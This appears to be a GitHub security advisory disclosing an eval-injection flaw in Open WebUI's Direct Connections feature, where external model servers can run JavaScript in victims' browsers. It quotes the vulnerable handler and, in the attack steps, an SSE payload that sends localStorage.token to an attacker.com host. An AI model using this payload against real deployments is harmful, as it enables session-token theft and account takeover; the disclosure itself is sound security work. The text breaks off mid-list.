GitHub Security Advisory: GHSA-cm35-v4vp-5xvx
Package: open-webui (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), CWE-501: Trust Boundary Violation, CWE-829: Inclusion of Functionality from Untrusted Control Sphere, CWE-830: Inclusion of Web Functionality from an Untrusted Source
Vulnerable versions: <= 0.6.34
Patched in: 0.6.35

Summary: Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events

Details:
### Summary
Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) `execute` events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.


### Details
ROOT CAUSE ANALYSIS:

Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible 
model servers without proper validation of the Server-Sent Events (SSE) these servers emit.

VULNERABLE COMPONENT: Frontend SSE Event Handler

The frontend JavaScript code processes SSE events from external servers and specifically 
handles an `execute` event type that triggers arbitrary JavaScript execution:

// Approximate vulnerable code location (frontend SSE handler)
if (event.type === 'execute') {
  const func = new Function(event.data.code);  // CRITICAL: Unsafe code execution
  await func();
}

VULNERABILITY DETAILS:

1. No validation of external server trustworthiness
2. No allowlist of trusted model providers  
3. No event type whitelisting or filtering
4. Direct execution of code from `execute` events using `new Function()`
5. No sandboxing or Content Security Policy enforcement
6. Full browser context access (localStorage, cookies, DOM)

ATTACK VECTOR:

1. Attacker deploys malicious OpenAI-compatible API server
2. Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"
3. Victim enables Direct Connections (Admin Settings → Connections)
<img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />
5. Victim adds attacker's URL as external connection
6. Victim sends ANY message to the malicious model
7. Malicious server responds with SSE stream including:

   data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}

8. Frontend executes the malicious code via `new Function()`
9. JWT token exfiltrated to attacker's server
10. Token is valid permanently (expires_at: null)

EXPLOITATION EVIDENCE:

Tested on Open WebUI v0.6.33 (2025-10-08):
- Token successfully captured in < ~5 seconds
- Admin token obtained with full privileges
- Token format: JWT stored in localStorage
- Token validation confirmed via `/api/v1/users/user/info](http://localhost:3000/api/v1/auths/`

CWE CLASSIFICATIONS:

Primary:
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code

Secondary:
- CWE-830: Inclusion of Web Functionality from an Untrusted Source
- CWE-501: Tr